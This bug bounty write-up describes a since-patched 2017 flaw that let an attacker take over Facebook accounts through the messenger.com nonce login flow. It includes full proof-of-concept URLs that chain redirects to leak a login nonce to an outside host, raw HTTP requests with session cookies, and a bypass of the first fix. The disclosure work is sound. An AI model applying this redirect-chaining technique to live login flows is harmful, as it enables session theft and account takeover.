The messenger.com website provides a nonce based login flow to allow a user who is already logged into their Facebook account to login to the site without having to re-enter their password. It was possible to create a URL that when loaded by a user who was logged into their Facebook account would redirect a nonce for their account to another site. The nonce could then be used to create a messenger.com session for the user. Since messenger.com session cookies are interchangeable with facebook.com this gave full access to the user’s Facebook account.
Overview of the Messenger.com Login Flow
When a user visits messenger.com the Facebook endpoint https://www.facebook.com/login/messenger_dot_com_iframe/
is loaded in an iframe:
[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]
The identifier
and initial_request_id
parameters are generated by messenger.com and are tied to the user’s datr
cookie.
If the user is logged into a Facebook account the endpoint redirects to https://www.messenger.com/login/fb_iframe_target/
with a secret nonce:
[plain]https://www.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=hFTzdP2Q&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]
The user is then prompted if they want to continue as this Facebook user.
If they choose to continue a POST request is made to the https://www.messenger.com/login/nonce/
endpoint with the nonce:
POST /login/nonce/ HTTP/1.1 Host: www.messenger.com Connection: close Content-Length: 109 Cache-Control: max-age=0 Origin: https://www.messenger.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: https://www.messenger.com/ Accept-Language: en-US,en;q=0.8 Cookie: datr=3GSyWAIGB6DhdUIQebUwj9Jg userid=100011424732901&nonce=hFTzdP2Q&persistent=true&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY&lsd=AVr7DyPv
The same datr
cookie that was used to generate the identifier
and initial_request_id
parameters is required in this POST request. The endpoint uses the nonce to create a session and sets cookies on .messenger.com
:
HTTP/1.1 302 Found Location: https://www.messenger.com/ ... Set-Cookie: sb=3dpaV2P6giuULzTDhNABjeti; expires=Tue, 26-Feb-2019 06:43:29 GMT; Max-Age=63071999; path=/; domain=.messenger.com; secure; httponly Set-Cookie: c_user=100011424732901; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com; secure Set-Cookie: xs=22%3AeAAc-sXWUZCaFw%3A2%3A1488091409%3A-1; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com; secure; httponly Set-Cookie: csm=2; expires=Sat, 27-May-2017 06:43:29 GMT; Max-Age=7775999; path=/; domain=.messenger.com Set-Cookie: lu=gQQAh17N-bnCQJL3wuArjLLQ; expires=Tue, 26-Feb-2019 06:43:29 GMT; Max-Age=63071999; path=/; domain=.messenger.com; secure; httponly ...
Stealing Nonces
When looking for flaws in a nonce based login flow where the redirect URL is controlled by a parameter the first thing I like to test is how strict it is on modifications to the redirect URL. In the case of the Messenger website the Facebook endpoint https://www.facebook.com/login/messenger_dot_com_iframe/
contained a redirect_uri
parameter which controlled where the nonce was redirected to. The endpoint did not allow the path of the redirect URL (/login/fb_iframe_target/)
to be changed or query string parameters to be added; however, a #
could be appended to the path. Additionally, any messenger.com
subdomain could be used.
When a nonce is delivered via a query string parameter in the redirect URL (https://example.com/login/?secrect=nonce)
rather than as a hash fragment (https://example.com/login/#secrect=nonce)
, it’s not required to actually redirect the nonce offsite in order to steal it. If you can get a URL containing the nonce set as the referrer before redirecting you can extract it from the request.
The Messenger website supported #!/path
javascript redirects. When a #!/path
was appended to a Messenger URL javascript on the page would redirect to that path after the page was loaded. Since the https://www.facebook.com/login/messenger_dot_com_iframe/
endpoint allowed a hash to be appended to the redirect URL it was possible to append a #!/path
which would be redirected to after https://www.messenger.com/login/fb_iframe_target/
was loaded.
In order to steal a nonce a way to redirect offsite was needed. I knew that the Messenger website used the /l.php
endpoint for redirecting to links. Normally this endpoint uses javascript to remove the referrer before redirecting; however, when redirecting to www.facebook.com links just a 302 redirect is used.
Through some Google searches I was able to find the Facebook endpoint https://www.facebook.com/dialog/share_open_graph
. Given a Facebook app ID and the redirect URL set for the app, the endpoint would automatically redirect to the URL. By creating a Facebook app and setting a redirect URL it was possible to use the endpoint to redirect to any URL.
Combining these issues resulted in the URL:
[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Fwww.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]
Unfortunately this didn’t work how I expected. The referrer my PoC was receiving was https://www.messenger.com/l.php
. This was because every www.messenger.com page includes the meta tag:
<meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" />
This meta tag prevents the referrer from leaking data such as the nonce by setting the referrer to the origin (https://www.messenger.com)
in cross-origin requests. This would have been a game-over if not for the https://www.facebook.com/login/messenger_dot_com_iframe/
endpoint allowing any messenger.com
subdomain to be used in the redirect URL. Through a search on crt.sh I was able to find the subdomain fb.beta.messenger.com
. This subdomain also included the meta referrer tag in its pages; however, it did not use the origin-when-crossorigin
policy.
With this subdomain the final PoC URL looked like this:
[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY%23!%2Fl.php%3Fu%3Dhttps%253A%252F%252Fwww.facebook.com%252Fdialog%252Fshare_open_graph%253Fapp_id%253D758283087524346%2526redirect_uri%253Dhttps%253A%252F%252Fstephensclafani.com%252Fpoc.php&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY[/plain]
When loaded by a user who was logged into their Facebook account:
1. The https://www.facebook.com/login/messenger_dot_com_iframe/
endpoint redirected to https://fb.beta.messenger.com/login/fb_iframe_target/
with a nonce for the user’s account:
[plain]https://fb.beta.messenger.com/login/fb_iframe_target/?userid=100011424732901&name=Tom+Jones&secret=tBTyFt4m&persistent=1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php[/plain]
Because the fb.beta.messenger.com
subdomain did not use the origin-when-crossorigin
referrer policy in its pages this URL got set as the referrer for the next requests.
2. The #!/l.php
appended to the redirect URL caused javascript on the page to redirect the user’s browser to the https://fb.beta.messenger.com/l.php
endpoint:
[plain]https://fb.beta.messenger.com/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php[/plain]
Because the link is to a www.facebook.com URL a 302 redirect was used to redirect the user to https://www.facebook.com/dialog/share_open_graph?app_id=758283087524346&redirect_uri=https://stephensclafani.com/poc.php
, preserving the referrer containing the nonce.
3. The https://www.facebook.com/dialog/share_open_graph
endpoint automatically redirected the user to the URL in the redirect_uri
parameter:
[plain]https://stephensclafani.com/poc.php[/plain]
4. The PoC script I created extracted the nonce from the referrer and used it in a POST request to the https://www.messenger.com/login/nonce/
endpoint to create a messenger.com session and displayed the cookies:
Array ( [sb] => wP-xHWyEaAT1JN33JoTCWmOn [c_user] => 100011424732901 [xs] => 22:J2NF2Ovl7qzACT:2:1488094195:-1 [csm] => 2 [lu] => gXtqnpAk_31Gy18Nf3BjanRw )
The cookies could be used to access the user’s account on facebook.com as well as on messenger.com:
GET / HTTP/1.1 Host: www.facebook.com User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901; xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw Connection: close
GET / HTTP/1.1 Host: www.messenger.com User-Agent: Mozilla/1.0 (Macintosh; Intel Mac OS X 1_0_0) AppleWebKit/1.0 (KHTML, like Gecko) Chrome/1.0.0.0 Safari/1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Cookie: sb=wP-xHWyEaAT1JN33JoTCWmOn; c_user=100011424732901; xs=22:J2NF2Ovl7qzACT:2:1488094195:-1; csm=2; lu=gXtqnpAk_31Gy18Nf3BjanRw Connection: close
Note: The identifier
and initial_request_id
parameters included in the PoC URL were generated from a datr
cookie that was also used by the PoC script in the POST request to https://www.messenger.com/login/nonce/
to create the messenger.com session with the stolen nonce. The parameters didn’t expire and could be reused to create sessions from multiple nonces.
Note: This attack worked even if a user was already logged into messenger.com.
The Fix
Facebook’s initial fix was to block the ability to add a hash to the redirect URL; however, this fix could be bypassed with the following URL:
[plain]https://www.facebook.com/login/messenger_dot_com_iframe/?redirect_uri=https%3A%2F%2Ffb.beta.messenger.com%2Flogin%2Ffb_iframe_target%2F%3Finitial_request_id%3DA8eKoiVaTWx41Azk8IEwhvY&identifier=ab66de64be75eef525f18b812e07b5d1&initial_request_id=A8eKoiVaTWx41Azk8IEwhvY#!/l.php?u=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Fshare_open_graph%3Fapp_id%3D758283087524346%26redirect_uri%3Dhttps%3A%2F%2Fstephensclafani.com%2Fpoc.php[/plain]
In this URL the #!/l.php
is appended to the https://www.facebook.com/login/messenger_dot_com_iframe/
endpoint URL. This worked because modern browsers preserve an appended hash through a 302 redirect, even across sites. A hash appended to https://www.facebook.com/login/messenger_dot_com_iframe/
gets appended to https://fb.beta.messenger.com/login/fb_iframe_target/
after the redirect.
To prevent this a site can append its own hash to its redirects:
This hash will replace any hash that’s been appended to the parent URL.
Timeline
I reported this issue to Facebook on Sunday, February 26. When the issue was confirmed by Facebook on Monday morning an initial fix was put in place in less than two hours. Facebook awarded me with a bounty of $15,000 as part of their Bug Bounty Program.
Sun, Feb 26, 2017 at 5:12 AM | – Report sent |
Mon, Feb 27, 2017 at 8:01 AM | – Confirmation of issue by Facebook |
Mon, Feb 27, 2017 at 9:35 AM | – Temporary fix pushed by Facebook |
Mon, Feb 27, 2017 at 10:09 AM | – Notification by me that fix could be bypassed |
Mon, Feb 27, 2017 at 11:56 AM | – Confirmation by Facebook that they are working on the fix |
Mon, Feb 27, 2017 at 4:29 PM | – Permanent fix pushed by Facebook |
Mon, Feb 27, 2017 at 9:39 PM | – Verification of fix by me |
Fri, Mar 3, 2017 at 4:36 PM | – $15,000 bounty awarded by Facebook |